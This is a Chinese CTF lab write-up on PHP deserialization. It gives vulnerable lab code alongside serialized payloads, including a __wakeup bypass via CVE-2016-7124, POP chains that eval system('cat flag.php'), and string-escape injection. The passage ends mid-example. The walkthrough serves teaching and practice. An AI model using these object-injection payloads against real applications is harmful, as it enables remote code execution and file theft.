PHP 序列化与反序列化

常见魔术方法

  • __construct:对象被创建时触发。
  • __destruct:对象被销毁时触发。
  • __toString:当对象被当做字符串使用时。
  • __wakeup:反序列化恢复对象前调用。
  • __sleep:序列化对象前进行调用,返回数组。
  • __call:调用不存在的方法的时候触发,第一个参数是方法名。
  • __get:从不可访问的属性中获取数据,第一个参数是属性名。
  • __invoke:尝试将对象调用为函数的时候触发。

web8-6 序列化规则-权限修饰

<?php
class protectedKEY{
    protected $protected_key;

    function get_key(){
        return $this->protected_key;
    }
}

class privateKEY{
    private $private_key;

    function get_key(){
        return $this->private_key;
    }

}

<?php

$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);

if(isset($protected_key)&&isset($private_key)){
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
        echo $flag;
    } else {
        echo "We Call it %00_Contr0l_Characters_NULL!";
    }
} else {
    highlight_file(__FILE__);
}

构建一个属性值为字符串 ‘protected_key’ 的 new protectedKEY() ,传给 POST 变量 protected_key ,然后序列化 protected_key ; 同理,构建一个属性值为”private_key”的 new privateKEY() ,传给变量 private_key,让 $private_key->get_key() 返回 “private_key” ,但是直接序列化后含有不可见字符,所以用 urlencode 方式编码后传入 url,会被自动解析为原来的序列化形式。 ps: postman 貌似不可以,它自身会 urlencode 变量,urlencode后还会urlencode,所以会失败

下面是序列化 protected_key 和 private_key 的 php 代码:

<?php
class protectedKEY{
    protected $protected_key=protected_key;

    function get_key(){
        return $this->protected_key;
    }
}

class privateKEY{
    private $private_key=private_key;

    function get_key(){
        return $this->private_key;
    }

}
$protected_key = new protectedKEY();
echo urlencode(serialize($protected_key));
$private_key = new privateKEY();
echo urlencode(serialize($private_key));
/*
O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D
O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D
*/
?>

payload:

protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

web8-7 实例化和反序列化

hint: 可控的输入 简单的漏洞演示

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 --- 

HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    public $flag_command = "echo 'Hello CTF!<br>';";

    function backdoor(){
        eval($this->flag_command);
    }
}

$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';

$Instantiate_object = new FLAG(); // 实例化的对象

$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象

$Instantiate_object->backdoor();

$Unserialize_object->backdoor();
'$Instantiate_object->backdoor()' 将输出:你好 CTF!
'$Unserialize_object->backdoor()' 将输出:Hello World!

<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();

本题就是一个简单的反序列化,我们观察到上方的变量有一个 backdoor() 方法,所以我们就实例化一个类,然后使用该方法。但是命令执行 system(‘cat flag.php’); html 里没有输出,换成 system(‘tac flag.php’); 有输出,直接把 flag 输出出来而非 php 源码

这是由于命令执行中 tac 和 cat 的区别:

cat:命令cat用于查看一个文件的内容并显示在屏幕上,cat后面可以不加任何选项直接跟文件名。

tac:命令tac也是把文件的内容显示在屏幕上,只不过是先显示最后一行,然后显示倒数第二行,最后才显示第一行。

而我们题目 flag 存在一个 flag.php 文件中,如果我们使用 cat 查看的话,那么还是按照 <?php 格式执行,而其中没有输出语句 echo 等,无法输出 flag, 实际加了 echo (system(‘cat fl*’);); 依旧没有输出,而 tac 命令刚好可以通过倒序输出,而避开 <?php ,使得内容能够显示出来,此时不再是 php 语句了。

<?php
class FLAG{
    public $flag_command = "passthru('tac flag.php');";

    function backdoor(){
        eval($this->flag_command);
    }
}
$o = new FLAG();
echo serialize($o);
//O:4:"FLAG":1:{s:12:"flag_command";s:25:"passthru('tac flag.php');";}
//O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('tac flag.php');";}
?>

Web8-8 构造函数和析构函数

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 8 : 构造函数和析构函数 --- 

HINT:注意顺序和次数

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;

class FLAG {
    public $class_name;
    public function __construct($class_name)
    {
        $this->class_name = $class_name;
        global $construct_flag;
        $construct_flag++;
        echo "Constructor called " . $construct_flag . "<br>";
    }
    public function __destruct()
    {
        global $destruct_flag;
        $destruct_flag++;
        echo "Destructor called " . $destruct_flag . "<br>";
    }
}

/*Object created*/
$demo = new FLAG('demo'); 

/*Object serialized*/
$s = serialize($demo);

/*Object unserialized*/
$n = unserialize($s); 

/*unserialized object destroyed*/
unset($n);

/*original object destroyed*/
unset($demo);

/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/

/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象:*/
new FLAG();
对象创建:构造函数调用 1
对象序列化:但什么也没发生(:
对象未序列化:但什么也没发生):
序列化对象被摧毁:析构函数调用 1
原始对象 被摧毁:析构函数调用 2

这个对象 ('new FLAG();') 将立即被销毁,因为它没有分配给任何变量:构造函数叫 2
析构函数叫 3

现在轮到你了!,尝试获取标志!
<?php

class RELFLAG {

    public function __construct()
    {
        global $flag;
        $flag = 0;
        $flag++;
        echo "Constructor called " . $flag . "<br>";
    }
    public function __destruct()
    {
        global $flag;
        $flag++;
        echo "Destructor called " . $flag . "<br>";
    }
}

function check(){
    global $flag;
    if($flag > 5){
        echo "flag{???}";
    }else{
        echo "Check Detected flag is ". $flag;
    }
}

if (isset($_POST['code'])) {
    eval($_POST['code']);
    check();
}

构造函数仅会在对象实例化 new RELFLAG() 的时候被调用——反序列化的创建过程则不会触发,而析构函数则是会在对象被回收时候触发,例如手动回收的函数,或者自动回收 unset

所以我们可以构造一个 payload:

unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

或者利用包含多个 new RELFLAG() 的数组。

由于反序列化不会调用构造函数,但会调用析构函数,我们可以利用这一点:通过反序列化创建多个对象,然后在脚本结束时(或显式销毁时)这些对象的析构函数都会被调用,每次调用都会增加 $flag 的值

写一个 php 代码

<?php
class RELFLAG {
    public function __construct()
    {
        global $flag;
        $flag = 0;
        $flag++;
        echo "Constructor called " . $flag . "<br>";
    }
    public function __destruct()
    {
        global $flag;
        $flag++;
        echo "Destructor called " . $flag . "<br>";
    }
}
$arr = array(new RELFLAG(), new RELFLAG(), new RELFLAG(), new RELFLAG(), new RELFLAG(), new RELFLAG());
echo serialize($arr);
?>

可以得到

a:6:{i:0;O:7:"RELFLAG":0:{}i:1;O:7:"RELFLAG":0:{}i:2;O:7:"RELFLAG":0:{}i:3;O:7:"RELFLAG":0:{}i:4;O:7:"RELFLAG":0:{}i:5;O:7:"RELFLAG":0:{}}

然后 POST 传入

$code = unserialize('a:6:{i:0;O:7:"RELFLAG":0:{}i:1;O:7:"RELFLAG":0:{}i:2;O:7:"RELFLAG":0:{}i:3;O:7:"RELFLAG":0:{}i:4;O:7:"RELFLAG":0:{}i:5;O:7:"RELFLAG":0:{}}');

web8-9 构造函数的后门

<?php
/*
--- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 --- 

HINT:似曾相识

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG {
    var $flag_command = "echo 'HelloCTF';";
    public function __destruct()
    {
        eval ($this->flag_command);
    }
}

unserialize($_POST['o']);

分析代码可知 FLAG 类的 __destruct() 方法会执行 eval($this->flag_command),这意味着我们可以通过控制 flag_command 属性来执行任意 PHP 代码。
我们需要构造一个 FLAG 类的实例,将其 flag_command 属性设置为读取 flag 的命令,然后序列化这个实例。

<?php
class FLAG {
    var $flag_command;
}
$obj = new FLAG();
// 假设 flag 存储在 /flag 文件中,使用 file_get_contents 读取
$obj->flag_command = "echo file_get_contents('/flag');";

echo serialize($obj);
?>

O:4:"FLAG":1:{s:12:"flag_command";s:32:"echo file_get_contents('/flag');";}

POST 传入

o=O:4:"FLAG":1:{s:12:"flag_command";s:32:"echo file_get_contents('/flag');";}

web8-10 wakeup()方法

unserialize() 会检查是否存在一个 __wakeup() 方法,在反序列化恢复对象前调用。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

<?php
error_reporting(0);

class FLAG{
    function __wakeup() {
        include 'flag.php';
        echo $flag;
    }
}

if(isset($_POST['o']))
{
    unserialize($_POST['o']);
}else {
    highlight_file(__FILE__);
}
?>

所以这道题只需要创建一个序列化类 serialize(new FLAG()) ,传给变量 ‘o’ ,则反序列化 unserialize 会先调用 __wakeup 方法然后再恢复对象输出 $flag

<?php
class FLAG{
    function __wakeup() {
        include 'flag.php';
        echo $flag;
    }
}
echo serialize(new FLAG());
?>

Web8-11 Bypass weakup!

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! --- 

CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

include 'flag.php';

class FLAG {
    public $flag = "FAKEFLAG";

    public function  __wakeup(){
        global $flag;
        $flag = NULL;
    }
    public function __destruct(){
        global $flag;
        if ($flag !== NULL) {
            echo $flag;
        }else
        {
            echo "sorry,flag is gone!";
        }
    }
}

if(isset($_POST['o']))
{
    unserialize($_POST['o']);
}else {
    highlight_file(__FILE__);
    phpinfo();
}

?>

当序列化一个实例 new FLAG() 传给 ‘o’ ,如果存在 wakeup() 方法,则会在调用 unserialize 反序列化前先执行 wakeup() 做好准备。但是 FLAG()里面 wakeup() 定义 $flag = NULL ,则析构函数中 if 条件语句不成立输出 ‘sorry,flag is gone’ ,所以我们可以利用 CVE-2016-7124 – PHP5 < 5.6.25 / PHP7 < 7.0.10 漏洞来跳过 wakeup() 的执行。

当前 php 版本为5.6.24,存在 CVE-2016-7124 – PHP5 < 5.6.25 / PHP7 < 7.0.10 漏洞,所以可以序列化一个实例 newFLAG() 里面表示属性个数的值大于真实属性的个数则然后反序列化恢复实例时会跳过 wakeup() 的执行,使得 $flag != NULL 从而可以执行析构函数 destruct() 来 echo $flag .

<?php
class FLAG {
    public $flag = "FAKEFLAG";

    public function  __wakeup(){
        global $flag;
        $flag = NULL;
    }
    public function __destruct(){
        global $flag;
        if ($flag !== NULL) {
            echo $flag;
        }else
        {
            echo "sorry,flag is gone!";
        }
    }
}
echo serialize(new FLAG());
#O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}
?>

所以将 new FLAG() 的属性个数 1 改为 >1 即可

o = O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

测试 payload:

Web8-12 sleep!

<?php
/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! --- 

年轻就是好啊,倒头就睡。
如果__sleep() 方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG {

    private $f;
    private $l;
    protected $a;
    public  $g;
    public $x,$y,$z;

    public function __sleep() {
        return ['x','y','z'];
    }
}

class CHALLENGE extends FLAG {

    public $h,$e,$l,$I,$o,$c,$t,$f;

    function chance() {
        return $_GET['chance'];
    }
    public function __sleep() {
        /* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
        $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
        $_=array_rand($array_list);$__=array_rand($array_list);
        return array($array_list[$_],$array_list[$__],$this->chance());
    }

}

$FLAG = new FLAG();
echo serialize($FLAG);

echo serialize(new CHALLENGE());

If you serialize FLAG, you will just get x,y,z
O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
------ 每次请求会随机返回两个属性,你也可以用 chance 来指定你想要的属性 ------
Now __sleep()'s return parameters is array('o','f','you shuold use it')
O:9:"CHALLENGE":3:{s:1:"o";s:7:"called_";s:1:"f";s:3:"t0_";s:17:"you shuold use it";N;}

serialize() 函数会检查类中是否存在一个魔术方法 __sleep() ,如果存在,则会先调用 sleep() 方法然后再进行序列化。

而sleep() 该方法必须返回一个数组: return array(‘属性1’, ‘属性2’, ‘属性3’) 或者return [‘属性1’, ‘属性2’, ‘属性3’]。数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论数组中有无该属性都无法序列化该属性。如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 -%00父类名称%00变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 “\0″来代替 “%00” -注意在双引号中,PHP 才会解析转义字符和变量。例如,父类 FLAG 有私有属性 private $f ; 应该在子类的 __sleep() 方法中以 “\0FLAG\0f” 的格式来返回父类中的私有属性)。

这道题序列化了两个实例 new FLAG() 和 new CHALLENGE() ,FLAG() 类和 CHANLLENGE() 类里都调用了 __sleep() 方法,所以会在 serialize 之前先执行 __sleep() 方法。 FLAG() 类的 __sleep() 方法返回包含三个公共属性 $x,$y,$z 的数组 [‘x’,’y’,’z’] 。而 CHALLENGE() 类的含有公共属性 public $h,$e,$l,$I,$o,$c,$t,$f ,包含一个 chance() 方法和 __sleep() 方法。chance() 方法接受以 GET 方式传入的变量 chance

而 __sleep() 方法中定义了返回

return array($array_list[$_],$array_list[$__],$this->chance())

$array_list 是变量数组 ,然后 array_rand 函数随机返回数组中的一个属性变量,最终 __sleep() 方法随机返回两个属性加一个变量 chance 的数组,我们可以通过控制 chance 来获取指定的属性。比如,控制 chance = %00FLAG%00f 来获取父类 FLAG() 的私有属性 $f ,或者 chance = 其他属性 来获得其内容

注释

FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g

指明 flag 为所有属性的拼接,所以我们通过控制传入的 GET 变量 chance 来获取所有的属性。

flag{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

Web8-13 __toString()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 13 __toString()  --- 

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG {
    function __toString() {
        echo "I'm a string ~~~";
        include 'flag.php';
        return $flag;
    }
}

$obj = new FLAG();

if(isset($_POST['o'])) {
    eval($_POST['o']);
} else {
    highlight_file(__FILE__);
}

__toString()  是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法 ,例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

payload: o = echo $obj;

Web8-14 __invoke()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 14 : __invoke() --- 

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    function __invoke($x) {
        if ($x == 'get_flag') {
            include 'flag.php';
            echo $flag;
        }
    }
}

$obj = new FLAG();

if(isset($_POST['o'])) {
    eval($_POST['o']);
} else {
    highlight_file(__FILE__);
}

将对象当作函数调用时,比如 $obj() ,会自动调用 __invoke() 方法

Web8-17 字符串逃逸基础

Class A is NULL: 'O:1:"A":0:{}'
Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'
After replace B with A,we unserialize it and dump :
object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" } <?php

/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 --- 

序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class A {

}
echo "Class A is NULL: '".serialize(new A())."'<br>";

class B {
    public $a = "Hello";
    protected $b = "CTF";
    private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";

$serliseString = serialize(new B());

$serliseString = str_replace('B', 'A', $serliseString);

echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));

if(isset($_POST['o'])) {
    $a = unserialize($_POST['o']);
    if ($a instanceof A && $a->helloctfcmd == "get_flag") {
        include 'flag.php';
        echo $flag;
    } else {
        echo "what's rule?";
    }
} else {
    highlight_file(__FILE__);
}

对于一个完全为空的类 A:当反序列化一个字符串到类A时,如果序列化字符串中声明了比类A实际更多的属性,这些额外的属性会被创建(因为反序列化机制会根据序列化字符串来设置属性,而不完全受类定义限制)

<?php
class A {
    public $helloctfcmd=get_flag;
}
echo serialize(new A());
?>

payload:

O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}

POP链初步

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 --- 

世界的本质其实就是套娃(x

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

/* FLAG in flag.php */

class A {
    public $a;
    public function __construct($a) {
        $this->a = $a;
    }
}
class B {
    public $b;
    public function __construct($b) {
        $this->b = $b;
    }
}
class C {
    public $c;
    public function __construct($c) {
        $this->c = $c;
    }
}

class D {
    public $d;
    public function __construct($d) {
        $this->d = $d;
    }
    public function __wakeUp() {
        $this->d->action();
    }
}

class destnation {
    var $cmd;
    public function __construct($cmd) {
        $this->cmd = $cmd;
    }
    public function action(){
        eval($this->cmd->a->b->c);
    }
}

if(isset($_POST['o'])) {
    unserialize($_POST['o']);
} else {
    highlight_file(__FILE__);
}

分析题目可以看到, D 这个类有个 __wakeUp() 魔术方法会在反序列化 D 类它之前自动调用,执行 $this->d->action(); 它的 d 属性指向对象 destnation() 的 action() 方法,而 destnation() 类的 action() 方法中 $cmd 属性指向一个对象链: eval($this->cmd->a->b->c);

所以我们构造一个实例 C 的 c 属性来包含需要执行的 php 代码,然后新对象 C 是对象 B 的属性 b,对象 B 是对象 A的属性 a,对象 A 是对象 destnation() 的属性,由此构造出来一个对象链。

然后对象 destnation() 是对象 D 的属性,序列化对象 D ,这样反序列化 对象 D 前会自动调用 __wakeUp() 魔术方法。

$c = new C("system('cat flag.php');");
$b = new B($c);
$a = new A($b);
$dest = new destnation($a);
$D = new D($dest);
echo serialize($D);

序列化得到

O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:23:"system('cat flag.php');";}}}}}

payload : o= O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:23:"system('cat flag.php');";}}}}}

ezPOP

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 16 : zePOP--- 

__wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

试着把他们串起来吧ww

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class A {
    public $a;
    public function __invoke() {
            include $this->a;
            return $flag;
    }
}

class B {
    public $b;
    public function __toString() {
        $f = $this->b;
        return $f();
    }
}


class INIT {
    public $name;
    public function __wakeUp() {
        echo $this->name.' is awake!';
    }
}

if(isset($_POST['o'])) {
    unserialize($_POST['o']);
} else {
    highlight_file(__FILE__);
}

分析该题,可以看到 A 这个类有个 __invoke() 方法,当类 A 被当作函数调用时会自动调用__invoke() 方法然后 include $this->a; 可以执行文件包含,假设 flag 在 flag.php 里,令对象 A 的属性 a 为 flag.php ,然后执行文件包含返回 $flag ;

类 B 有个 __toString() 方法,以函数的方式返回属性 b ,所以可以令属性 b 为对象 A ,这样可以以函数方式实现 A 的调用;

类 INIT() 有 __wakeUp() 魔术方法,在反序列化 unserialize() 前会自动调用,echo $this->name.' is awake!'; 将属性 name 以字符串的形式输出。将类 B 当作字符串传给类 INIT() 的属性 name,则会输出类 B ;

所以可以构造 POP 链:

<?php
class A {
    public $a;
    public function __invoke() {
            include $this->a;
            return $flag;
    }
}

class B {
    public $b;
    public function __toString() {
        $f = $this->b;
        return $f();
    }
}


class INIT {
    public $name;
    public function __wakeUp() {
        echo $this->name.' is awake!';
    }
}

$A = new A();
$A -> a='flag.php';
$B = new B();
$B -> b=$A;
$payload = new INIT();
$payload -> name=$B;
echo serialize($payload);
?>

序列化得到:

O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

字符串逃逸基础

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 --- 

序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

highlight_file(__FILE__);

class Demo {
    public $a = "Hello";
    public $b = "CTF";
    public $key = 'GET_FLAG";}FAKE_FLAG';
}

class FLAG {

}

$serliseStringDemo = serialize(new Demo());

$target = $_GET['target'];
$change = $_GET['change'];

$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);

$FLAG = unserialize($serliseStringFLAG);

if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
    echo $flag;
} SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'
Change SOMETHING TO GET FLAGYour serliaze string is O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
And Here is object(Demo)#1 (3) { ["a"]=> string(5) "Hello" ["b"]=> string(3) "CTF" ["key"]=> string(20) "GET_FLAG";}FAKE_FLAG" }

分析该题可知,序列化了一个新实例 new Demo() 传给 $serializeStringDemo ,然后 GET 传入两个变量:$target 和 $change ,然后通过 str_replace($target, $change, $serliseStringDemo) 来替换原始序列化的 $serializeStringDemo 中指定的内容, $target 指定可替换字符串部分, $change 构造替换字符串。

所以可以利用 str_replace 替换来实现字符串逃逸,然后再利用 ";} 构造闭合的序列化结构,得到 $serializeStringFLAG ,要求反序列化 $serializeStringFLAG 得到一个包含 key 属性且属性值为 ‘GET_FLAG’ 的 FLAG 类。

原始序列化 Demo :

SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'

target 指定替换字符串:

Demo":3:{s:1:"a";s:5:"Hello

change 指定替换成:

FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}

payload:

target=Demo":3:{s:1:"a";s:5:"Hello&change=FLAG":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:8:"GET_FLAG";}

字符逃逸

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且在字符串内,是以关键字 s 后面的数字来指定所读取的字符长度,然后在反序列化的时候 php 会根据 s 所指定的字符长度去读取后边的多少位的字符,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。当序列化的长度不对应的时候会出现报错。

所以可以利用 “;} 来提前闭合反序列化字符串,丢弃后面内容来实现字符逃逸。

字符变多

字符变多情况:通常我们把某一个变量的前半部分用来放被替换字符,后半部分存放恶意代码,利用 php 中一些字符替换函数,如 str_replace() 或者正则替换 preg_replace() ,把字符替换成变长后的长文本,这样前半部分变长的内容会把后半部分的恶意代码顶出,就实现了字符逃逸。

<?php
highlight_file(__FILE__);

include("flag.php");

function filter($data) {
    return str_replace("yema", "yemama", $data); // not yema, but yemama!
}

class Person {
    public $name;
    public $lover;

    function __construct($name, $lover) {
        $this->name = $name;
        $this->lover = $lover;
    }
}

$name = $_GET["name"];
$lover = "????";

$before = new Person($name, $lover);
$data = filter(serialize($before));
$after = unserialize($data);

if ($after->lover == "yemama") {
    echo "Oh, yemama loves you, too! Here's your flag!".$flag;
}
else {
    echo ">_<, please love yemama!";
}
?> >_<,请爱yemama!

这道题,定义了一个属性 name 值为传入的 GET 参数 name (可控)、属性 lover 值为 “????” 字符串的实例 new Person($name, $lover) 。然后将 new Person() 传给中间变量 $before ,然后序列化 $before ,再通过定义的过滤函数 filter() 中的返回内容 str_replace("yema", "yemama", $data)将序列化后的 $before 里的所有出现的字符 yema 替换成 yemama ,然后将处理后的结果传给变量 $data ,再反序列化 4data 传给 $after 。

要求 $after 中的 lover 属性值为 ‘yemama’ 则会输出 flag 。

先序列化一个属性 name 值为 yema , 属性 lover 值也为 yema 的实例:

<?php
class Person {
    public $name=yema;
    public $lover=yema;
    }
echo serialize(new Person());
#O:6:"Person":2:{s:4:"name";s:4:"yema";s:5:"lover";s:4:"yema";}
?>

然后再控制 name 为 yema";s:5:"lover";s:6:"yema" 来序列化真正的实例 new Person()

<?php
class Person {
    public $name='yema";s:5:"lover";s:6:"yema";}';
    public $lover="????";
    }
echo serialize(new Person());
?>

这样子得到

O:6:"Person":2:{s:4:"name";s:30:"yema";s:5:"lover";s:6:"yema";}";s:5:"lover";s:4:"????";}

yema 替换成 yemama 后

O:6:"Person":2:{s:4:"name";s:30:"yemama";s:5:"lover";s:6:"yemama";}";s:5:"lover";s:4:"????";}

我们希望让 yemama (蓝色部分) 占满全部的 name,这样子后面跟着的 lover 的部分(绿色部分)就被顶出变成序列化字符串了。这样子要满足长度要求。目前长度是 30,但是 yemama 的长度是 6,还差 24。每多一个 yema,替换之后变成 yemama 多 2 个字符,所以再加 12 个 yema 就恰好满足长度要求了。所以最后构造

name = yemayemayemayemayemayemayemayemayemayemayemayemayema";s:5:"lover";s:6:"yema";}

这样序列化后是

O:6:"Person":2:{s:4:"name";s:78:"yemayemayemayemayemayemayemayemayemayemayemayemayema";s:5:"lover";s:6:"yema";}";s:5:"lover";s:4:"????";}

替换后是

O:6:"Person":2:{s:4:"name";s:78:"yemamayemamayemamayemamayemamayemamayemamayemamayemamayemamayemamayemamayemama";s:5:"lover";s:6:"yemama";}";s:5:"lover";s:4:"????";}

这样子刚好让 yemama 占满前面 name 的78个字符,后面 s:5:"lover";s:6:"yemama"; 就成功逃逸了。而大括号后面的内容,因为前面的部分已经是完整的一个序列化字符串了,所以会被丢弃。

字符变少

字符变少的情况:将第一个变量放被删除的文本,然后让第二个变量的尾部放恶意代码。这样子第一个变量被过滤后,第二个变量的前面部分就顶替到第一个变量中了,然后我们尾部的恶意代码就逃逸出来了。

<?php
highlight_file(__FILE__);

include("flag.php");

function filter($data) {
    return str_replace("yema", "", $data); // yema out!!!
}

class Person {
    public $name;
    public $lover;

    function __construct($name, $lover) {
        $this->name = $name;
        $this->lover = $lover;
    }
}

$name = $_GET["name"];
$lover = $_GET["lover"];
if (strlen($lover) < 10) {
    die("lover too short");
}

$before = new Person($name, $lover);
$data = filter(serialize($before));
